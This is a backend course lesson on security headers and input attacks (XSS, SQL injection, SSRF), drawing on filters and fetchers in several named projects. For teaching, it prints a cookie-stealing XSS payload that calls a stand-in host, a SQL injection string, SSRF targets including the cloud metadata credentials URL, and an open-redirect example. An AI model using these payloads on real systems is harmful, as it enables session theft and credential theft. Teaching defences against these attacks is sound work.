BBackend CourseLeroy Labs
0/0
Search the course

Security headers & input attacks (XSS, SQLi, SSRF)

CSP, HSTS, X-Frame-Options, Referrer-Policy, Permissions-Policy, plus how XSS, SQL injection and SSRF work and how IR3D's SafeHttpFetcher blocks requests to internal networks.

● advancedReport-Manager-2IR3D (Kontentt)SperoTek (in dev)Hostel-Web-App

Security headers

Header Purpose Example
Strict-Transport-Security Browser must use HTTPS for this host max-age=31536000; includeSubDomains; preload
Content-Security-Policy Allow-list of script, style and connect sources. The strongest XSS mitigation default-src 'self'; script-src 'self'; frame-ancestors 'none'
X-Frame-Options Blocks clickjacking via iframes DENY
X-Content-Type-Options Stops MIME sniffing nosniff
Referrer-Policy How much of the URL leaks to other sites strict-origin-when-cross-origin
Permissions-Policy Disables browser features camera=(), geolocation=()
Report-Manager-2shared/security/SecurityHeadersFilter.java

A custom filter sets CSP, HSTS with preload, X-Frame-Options: DENY and Permissions-Policy.

SperoTek (in dev)SecurityConfig headers()

Spring Security’s header DSL with frame deny, HSTS for 1 year with includeSubDomains, and a strict-origin referrer policy.

XSS (Cross-Site Scripting)

An attacker gets their script to run in your origin, for example through a review text like <img src=x onerror="fetch('//evil?c='+document.cookie)"> that is rendered unescaped. The script can read the DOM, call APIs as the user, and steal non-HttpOnly tokens.

Defences, in order of importance:

  1. Output encoding. React escapes by default. Never use dangerouslySetInnerHTML with user input, and Thymeleaf’s th:text escapes, unlike th:utext.
  2. CSP, which blocks inline and unknown scripts.
  3. HttpOnly cookies, which limit token theft.
  4. Input validation as defence in depth: IR3D’s XssFilter/XssRequestWrapper and @NoHtml, SperoTek’s @SafeText.
  5. A sanitiser (OWASP Java HTML Sanitizer, DOMPurify) when you must accept rich HTML.
IR3D (Kontentt)shared/filter/XssFilter.java · XssRequestWrapper.java

Strips dangerous patterns from request parameters globally. It’s a useful extra layer, but filters based on blocklists can be bypassed and can mangle legitimate input, so output encoding remains the primary defence.

SQL injection

// ❌ vulnerable
jdbc.query("SELECT * FROM users WHERE email = '" + email + "'");   // email = ' OR '1'='1

// ✅ parameterised: the driver sends the value separately from the SQL
jdbc.sql("SELECT * FROM users WHERE email = :email").param("email", email)...

JPA, JPQL with :params, Specifications and JdbcClient with .param() are all safe, and every project uses them. Danger remains with dynamic ORDER BY columns, which can’t be bound as parameters. That’s why Store’s sort whitelist matters.

SSRF (Server-Side Request Forgery)

Any feature where your server fetches a URL the user provides (link previews, webhooks, image import) can be abused to reach internal targets:

http://169.254.169.254/latest/meta-data/iam/security-credentials/   <- AWS instance credentials!
http://localhost:8081/actuator/env
http://10.0.0.5:5432
IR3D (Kontentt)linkpreview/application/SafeHttpFetcher.java

IR3D’s link preview is SSRF-hardened:

  • It resolves the host with InetAddress.getAllByName and rejects private, loopback, link-local and metadata ranges.
  • It re-validates on every redirect, with MAX_REDIRECTS = 4, because a public URL can 302 to an internal one.
  • Requests are rate-limited per user.

Watch out for DNS rebinding, where the name resolves to a public IP at check time and a private one at connect time. Pin the resolved IP for the actual connection.

  • Path traversal. Validate ../ in file names. Use storage keys you generate yourself, not user file names.
  • Deserialisation attacks. Never deserialise untrusted Java objects. JSON with Jackson default typing off is safe.
  • Command injection. IR3D shells out to ffmpeg and yt-dlp, so pass arguments as an array (ProcessBuilder(List)), never build a shell string, and validate URLs first.
  • Open redirect. ?next=https://evil.com after login. Allow only relative paths or known hosts.
  • Mass assignment (DTO lesson), IDOR (authorization lesson).

Check yourself

1. Primary defence against XSS?
2. Why must SafeHttpFetcher re-check on redirects?
3. Which part of SQL cannot be safely parameterised and needs a whitelist?